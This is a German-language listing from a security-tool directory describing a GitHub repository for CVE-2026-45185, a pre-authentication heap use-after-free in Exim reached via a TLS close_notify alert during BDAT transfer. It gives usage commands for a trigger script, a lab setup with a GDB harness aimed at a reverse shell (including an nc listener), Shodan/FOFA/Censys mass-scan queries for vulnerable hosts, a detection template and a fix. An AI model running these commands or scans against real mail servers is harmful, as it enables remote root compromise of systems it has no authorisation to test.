Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-45185 — Nutzt einen kritischen Pre-Auth-Heap-Use-after-Free in Exim über TLS close_notify aus, um Remote-Root-Zugriff zu erlangen; enthält einen GDB-Lab-Harness und eine Nuclei-Erkennungsvorlage. | Kitploit
Tools/GitHubGitHub/0init/cve-2026-45185
SchwachstellenscannerSchwachstellenanalyseExploitationLernen & BildungBinary-ExploitationLabs & Praxis
GitHub0init/cve-2026-45185

CVE-2026-45185

Nutzt einen kritischen Pre-Auth-Heap-Use-after-Free in Exim über TLS close_notify aus, um Remote-Root-Zugriff zu erlangen; enthält einen GDB-Lab-Harness und eine Nuclei-Erkennungsvorlage.

Repository anzeigen
vor 12 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-45185 — Dead.Letter: Exim-Heap-UAF zu Remote-Root

CVSS 9.8 Kritisch | Exim 4.97–4.99.2 | Ubuntu / GnuTLS-Builds | Ohne Authentifizierung

Vollständiger Artikel mit GDB-Trace, Schritt-für-Schritt-Analyse und globalen Expositionsdaten:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


Was ist das

Das Senden eines TLS-close_notify-Alerts, während Exim sich mitten in der BDAT-Body-Übertragung befindet, führt dazu, dass tls_close() gnutls_deinit() aufruft und die 7.304 Byte große gnutls_session_int-Struktur freigegeben wird. Die BDAT-Empfangsschicht hält einen veralteten Pointer. Wenn die Body-Lese-Schleife fortgesetzt wird, dereferenziert tls_getbuf → gnutls_record_recv die freigegebene Session — Heap-Use-after-Free, vor der Authentifizierung, keine Zugangsdaten erforderlich.

Behoben in Exim 4.99.3.


Betroffen

BedingungErforderlich
Exim-Version4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
BuildUbuntu / Debian mit GnuTLS (libgnutls28-dev)
FunktionCHUNKING in EHLO angekündigt (standardmäßig aktiviert)

Alpine Linux und selbst kompilierte Exim-Builds, die gegen OpenSSL gelinkt sind, sind nicht betroffen.


Dateien


poc.py — UAF-Auslöser

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

Wenn der Server nach dem Auslösen weiterläuft, existiert der UAF-Pfad. Wenn er abstürzt, hat sich etwas am tcache-Verhalten geändert.


diag19_gdb.py — GDB-Harness (nur Labor)

Docker-Laboreinrichtung (5 Minuten)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Vor dem Ausführen: bearbeite CMD in diag19_gdb.py, sodass es auf deine Listener-IP zeigt.
Die SYSTEM-Adresse wird beim Laden dynamisch aufgelöst — kein manuelles Nachschlagen nötig.
Die beiden Adressen in PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) sind Exim-intern und müssen zu deinem Build passen:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Nuclei-Erkennung

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Erkennungslogik

Das Template führt zwei unabhängige Stufen aus:

  1. EHLO-Fingerprint — sendet EHLO und prüft alle drei erforderlichen Bedingungen:

    • Versions-Regex 4.97–4.99.2
    • Ubuntu im Banner (GnuTLS-Verknüpfung bestätigt)
    • CHUNKING in den Fähigkeiten
  2. BDAT-Probe — sendet BDAT 200 ohne RCPT TO und prüft auf Exims spezifisches 503:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

Massenscan-Abfragen

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Behebung

Upgrade auf Exim 4.99.3 oder neuer (offizieller Patch).

Workaround (kein Exploit-Pfad, kein Neustart für Tests erforderlich):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

Danach service exim4 restart.


Zeitleiste

DatumEreignis
2026-06-10CVE von XBOW zugewiesen
2026-06-24Öffentliches Advisory veröffentlicht
2026-08-07Lab-RCE bestätigt; dieser Artikel + PoC veröffentlicht

Referenzen

  • Artikel: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • XBOW-Advisory: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

von @0Init

Tool herunterladen
DateiZweck
poc.pyUAF-Auslöser — nur Standardbibliothek, kein pip. Sicher gegen eigene Server ausführbar. Erreicht den UAF-Pfad und stoppt (kein Payload).
diag19_gdb.pyGDB-Exploit-Harness — 7 Breakpoints, schreibt system() nach Rückkehr von gnutls_deinit() in den freigegebenen Chunk. Nur Labor (erfordert deaktiviertes ASLR + passende Bibliotheksversionen).
CVE-2026-45185.yamlNuclei-Template — erkennt alle drei Voraussetzungen per EHLO-Fingerprint + BDAT-Probe. Sichere, Nur-Lese-Erkennung.